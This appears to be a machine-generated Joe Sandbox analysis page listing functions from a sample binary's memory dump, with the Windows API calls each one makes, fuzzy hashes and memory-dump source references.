Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ceb61d504131a045bcd67361337f9e3f99f791818888a0943379a28b7e2b710f
Instruction ID: cadd14e3efc4851115fb5842a40fe4592069f6f719242511d24516f127d2f69d
Opcode Fuzzy Hash: ceb61d504131a045bcd67361337f9e3f99f791818888a0943379a28b7e2b710f
Instruction Fuzzy Hash: 3A41D33590421AAFD714DF2CCC48FA9BBA5EB09354F1C4269F955E72E0CB309D41EA71

Function 00D42344 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00D42357
ScreenToClient.USER32(00E057B0,?), ref: 00D42374
GetAsyncKeyState.USER32 ref: 00D42399
GetAsyncKeyState.USER32 ref: 00D423A7

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 14547a7dad37da25e5bac0cddec186296b1a9c35d260848ad71b25ab075839bb
Instruction ID: 16e44fc5b7c3c672c158092343d3fd584d240b25fa05c67900f2ea3a47911c0c
Opcode Fuzzy Hash: 14547a7dad37da25e5bac0cddec186296b1a9c35d260848ad71b25ab075839bb
Instruction Fuzzy Hash: 02417D35604206FFCB258F68C848AE9BB75FB05360F64835EF868962A0D7359990DBB0

Function 00D963AA Relevance: 7.6, APIs: 5, Instructions: 97windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00D963E7
TranslateAcceleratorW.USER32(?,?,?), ref: 00D96433
TranslateMessage.USER32(?), ref: 00D9645C
DispatchMessageW.USER32(?), ref: 00D96466
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00D96475

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Message$PeekTranslate$AcceleratorDispatch
String ID:
API String ID: 2108273632-0
Opcode ID: cdc3944ed403e54fc3634d7adc3186b43e0c4a38fe32a77c0295a3108bbf5ac1
Instruction ID: efba37996de95771e327690651ba3c28f092673bbd52f8a6ec67ff2d0b79dadb
Opcode Fuzzy Hash: cdc3944ed403e54fc3634d7adc3186b43e0c4a38fe32a77c0295a3108bbf5ac1
Instruction Fuzzy Hash: 5031BE32944646AFDF248FF5CC44FB77BB8AB01300F184165E861D61A0E726D889DB71

Function 00D98A1F Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00D98A30
PostMessageW.USER32 ref: 00D98ADA
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00D98AE2
PostMessageW.USER32 ref: 00D98AF0
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00D98AF8

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 7e8816ff0833ae601bafb70501a64332f57d4fef80e179f8733f777181fe2cee
Instruction ID: b3304e70da8be047f74ddeab9489078c2e316d99df8f5bee749ccd0f870cf4e2
Opcode Fuzzy Hash: 7e8816ff0833ae601bafb70501a64332f57d4fef80e179f8733f777181fe2cee
Instruction Fuzzy Hash: 3131C07150021AEBDF14CFA8DD4CADE3BB5EB05715F14822AF965E72D0C7B09914EBA0

Function 00D9B1EC Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00D9B204
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00D9B221
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00D9B259
CharUpperBuffW.USER32(00000000,00000000), ref: 00D9B27F
_wcsstr.LIBCMT ref: 00D9B289

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: 402b731101056b2abf03cb264fe64b19e09fa9c0999ac0b132ce3f5fabc08b92
Instruction ID: e9090af1f067a135c25d803b1a882f40b8c35a7d0752677d5999679217ed5943
Opcode Fuzzy Hash: 402b731101056b2abf03cb264fe64b19e09fa9c0999ac0b132ce3f5fabc08b92
Instruction Fuzzy Hash: 6A2104322042017BEF259B79AD49E7F7BA9DF49720F05413AF805DA2A1EF61DC4097B4

Function 00DCB14B Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00D42612: GetWindowLongW.USER32(?,000000EB), ref: 00D42623

GetWindowLongW.USER32(?,000000F0), ref: 00DCB192
SetWindowLongW.USER32(00000000,000000F0,00000001,?,?,?,?,00DB0E90,00000000,?,00000000), ref: 00DCB1B7
SetWindowLongW.USER32(00000000,000000EC,000000FF,?,?,?,?,00DB0E90,00000000,?,00000000), ref: 00DCB1CF
GetSystemMetrics.USER32(00000004,?,?,?,?,?,?,?,00DB0E90,00000000,?,00000000), ref: 00DCB1F8
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047), ref: 00DCB216

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: b4785c195ba74af628f3a865ecd7f7084aca7e6b0cde0e2b9581bc8be4e4c265
Instruction ID: f3f93b2e1a7628602bbd04d605654ef66b99c5b99f6a84b23484e4222fa1922d
Opcode Fuzzy Hash: b4785c195ba74af628f3a865ecd7f7084aca7e6b0cde0e2b9581bc8be4e4c265
Instruction Fuzzy Hash: B2217E71920253AFCB149F38DC05F6A7BA5EB05331F19463AB962D72E0D730D8509BA0

Function 00D99307 Relevance: 7.6, APIs: 5, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00D99320

Part of subcall function 00D47BCC: _memmove.LIBCMT ref: 00D47C06

SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00D99352
__itow.LIBCMT ref: 00D9936A
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00D99392
__itow.LIBCMT ref: 00D993A3

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: MessageSend$__itow$_memmove
String ID:
API String ID: 2983881199-0
Opcode ID: d4173d6312c2faa9ed2264b36db977fd7927463e623649bb178306c769555ec7
Instruction ID: cd60ded26a5d01e645bea23ae56f6aae554b9e38a92238f1543216e72cbe3e97
Opcode Fuzzy Hash: d4173d6312c2faa9ed2264b36db977fd7927463e623649bb178306c769555ec7
Instruction Fuzzy Hash: B721D731700209ABDF10AF698C95EEEBBA9EB48710F04402DFD45D72D1DAB1CD4597B1

Function 00DB5A4D Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00DB5A6E
GetForegroundWindow.USER32 ref: 00DB5A85
GetDC.USER32(00000000), ref: 00DB5AC1
GetPixel.GDI32(00000000,?,00000003), ref: 00DB5ACD
ReleaseDC.USER32(00000000,00000003), ref: 00DB5B08

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 79111ae822e213cb5bb919b4be5183d8571e72a9a4d2a502f09865b5335e2898
Instruction ID: 4a261b81edfcb6d31f3199d6862290fb4e06f3f66e9d9b5fc15056899c16369a
Opcode Fuzzy Hash: 79111ae822e213cb5bb919b4be5183d8571e72a9a4d2a502f09865b5335e2898
Instruction Fuzzy Hash: 17216F75A00205AFDB14EF69D884A9ABBE5EF48310F148479F84AD7362DA30AD01DBB0

Function 00D412F3 Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000), ref: 00D4134D
SelectObject.GDI32(?,00000000), ref: 00D4135C
BeginPath.GDI32(?), ref: 00D41373
SelectObject.GDI32(?,00000000), ref: 00D4139C

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 5a80b2f47cfd113953f77a47df4671565d1ecba669f7feb48ba9c543fbaf01e7
Instruction ID: 3d2b1934a7f69770feb77ae79db72d9c824a8b85cbefff9e362ba4b01712b1e9
Opcode Fuzzy Hash: 5a80b2f47cfd113953f77a47df4671565d1ecba669f7feb48ba9c543fbaf01e7
Instruction Fuzzy Hash: 21216531800709DFDB159F16EC4976A7BE5F700761F18822AF854A61B0D37199D9DF70

Function 00DA4A93 Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00DA4ABA
__beginthreadex.LIBCMT ref: 00DA4AD8
MessageBoxW.USER32 ref: 00DA4AED
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00DA4B03
CloseHandle.KERNEL32(00000000), ref: 00DA4B0A

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
String ID:
API String ID: 3824534824-0
Opcode ID: 5b736fdf6f2c0c6e44f3f735d0a246af692c5cfc83c154852e35f51dba6a0e18
Instruction ID: deab856ae9e8fbcdb0fc5152e4f53a681d3e9085ceac63b7bb1df281b642a6ce
Opcode Fuzzy Hash: 5b736fdf6f2c0c6e44f3f735d0a246af692c5cfc83c154852e35f51dba6a0e18
Instruction Fuzzy Hash: 3D11E576904715BFD7008FA99C04ADB7BADEB85320F184265F824D33A0D6B1C9448BB0

Function 00D98202 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00D9821E
GetLastError.KERNEL32(?,00D97CE2,?,?,?), ref: 00D98228
GetProcessHeap.KERNEL32(00000008,?,?,00D97CE2,?,?,?), ref: 00D98237
HeapAlloc.KERNEL32(00000000,?,00D97CE2,?,?,?), ref: 00D9823E
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00D98255

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: d18eb270e30c8f7220fec4b95bc01a7fe423f9d5b269186f764a2d8cff623b19
Instruction ID: 038aeb9abb75b641054357bb1323a0b0666b9d3108aca95867224cab2f5c163c
Opcode Fuzzy Hash: d18eb270e30c8f7220fec4b95bc01a7fe423f9d5b269186f764a2d8cff623b19
Instruction Fuzzy Hash: FC011D71641706BFDF204FA6DC48DAB7FADEF8A755B54056AF849C3260DA319C00EA70

Function 00D9710A Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32 ref: 00D97127
ProgIDFromCLSID.OLE32(?,00000000), ref: 00D97142
lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00D97044,80070057,?,?), ref: 00D97150
CoTaskMemFree.OLE32(00000000), ref: 00D97160
CLSIDFromString.OLE32(?,?), ref: 00D9716C

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: c0f98bf8c830e6ea144c39a0f0fc688929acae2ea8d67100dd58705c9376a8b1
Instruction ID: e660cdd9a35ec2e4b58fd21d29dc1d6119c4982c7c47b1cbd66aa61b6ce87898
Opcode Fuzzy Hash: c0f98bf8c830e6ea144c39a0f0fc688929acae2ea8d67100dd58705c9376a8b1
Instruction Fuzzy Hash: 6E017CB2621306BBDB114F64DC44EAA7BAEEF44791F141064FD08E2320D731DD419BB0

Function 00DA5244 Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00DA5260
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00DA526E
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00DA5276
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00DA5280
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00DA52BC

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 59d66d50d373e271aed694875db8d2c2946f3e8e7a57dd4225bbc7e7d8a8b4e1
Instruction ID: 019709f1224edc4347ff52db4ee6e1adac2cafe90fc9fd03ef354b1513b8ad87
Opcode Fuzzy Hash: 59d66d50d373e271aed694875db8d2c2946f3e8e7a57dd4225bbc7e7d8a8b4e1
Instruction Fuzzy Hash: 3C011731D01B1ADBCF00EFE4E849AEDBB79FB0A711F450156E945F2245CB3095548BB9

Function 00D9810A Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00D98121
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00D9812B
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00D9813A
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00D98141
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00D98157

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: bb595ef370648134d8d58f00376f4b1115dba84fd9532f00120ef31b768a249d
Instruction ID: 8353eb39f382ab3a39b767954e6025b5ac62197b10e2f2200c2742421dfb94ac
Opcode Fuzzy Hash: bb595ef370648134d8d58f00376f4b1115dba84fd9532f00120ef31b768a249d
Instruction Fuzzy Hash: EEF06271200306BFEB110FA5EC89EAB3BADFF4AB54B040025F986D6250CB619D41EA70

Function 00D9C1E3 Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00D9C1F7
GetWindowTextW.USER32(00000000,?,00000100), ref: 00D9C20E
MessageBeep.USER32(00000000), ref: 00D9C226
KillTimer.USER32 ref: 00D9C242
EndDialog.USER32 ref: 00D9C25C

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 83180ccc54f375eafc56812b283569bd35394dbb53ced3e91a2e33fb9f6f5375
Instruction ID: b62d54ea837277c46a47a39a4a8f1b6ee8df85b62c227ee9124e069437032f77
Opcode Fuzzy Hash: 83180ccc54f375eafc56812b283569bd35394dbb53ced3e91a2e33fb9f6f5375
Instruction Fuzzy Hash: 0101AD30454306ABEB245B60ED4EFD677B9FB00B06F04426AA582E15E1DBF0A9489BB4

Function 00D413B0 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 00D413BF
StrokeAndFillPath.GDI32(?), ref: 00D413DB
SelectObject.GDI32(?,00000000), ref: 00D413EE
DeleteObject.GDI32 ref: 00D41401
StrokePath.GDI32(?), ref: 00D4141C

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 1bf26fa438dcd476a34dd9a12346918d1810b36ad2db0e3147637f1a1d8da99b
Instruction ID: 143c5834d4e991622666e3b5bafef88425384d4ef4d148965e2974d54396f78d
Opcode Fuzzy Hash: 1bf26fa438dcd476a34dd9a12346918d1810b36ad2db0e3147637f1a1d8da99b
Instruction Fuzzy Hash: 46F0FB3500070A9FDB155F56EC4CB993BA5A700726F08C235E869981F1C73289D9DF30

Function 00D52CFB Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 00D60DB6: std::exception::exception.LIBCMT ref: 00D60DEC
Part of subcall function 00D60DB6: __CxxThrowException@8.LIBCMT ref: 00D60E01

Part of subcall function 00D47DE1: _memmove.LIBCMT ref: 00D47E22

Part of subcall function 00D47A51: _memmove.LIBCMT ref: 00D47AAB

__swprintf.LIBCMT ref: 00D52ECD

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00D52D66

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: 4a0d02bfe33b2b5f70b4813c08a01a9af856ca88c37803a258f943bd216f8c79
Instruction ID: f732faafc4acdab7d1658926704a67bf71ac0a8f952760e713bbb96314aa929a
Opcode Fuzzy Hash: 4a0d02bfe33b2b5f70b4813c08a01a9af856ca88c37803a258f943bd216f8c79
Instruction Fuzzy Hash: D0913A711082019FCB14EF24D896D7FB7A4EF95714F04491DF8959B2A2EB20ED49CB72

Function 00DAB93B Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON

Download Yara Rule

APIs

Part of subcall function 00D44750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00D44743,?,?,00D437AE,?), ref: 00D44770

CoInitialize.OLE32(00000000), ref: 00DAB9BB
CoCreateInstance.OLE32(00DD2D6C,00000000,00000001,00DD2BDC,?), ref: 00DAB9D4
CoUninitialize.OLE32 ref: 00DAB9F1

Part of subcall function 00D49837: __itow.LIBCMT ref: 00D49862
Part of subcall function 00D49837: __swprintf.LIBCMT ref: 00D498AC

Strings

.lnk, xrefs: 00DAB99D, 00DAB9AB

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
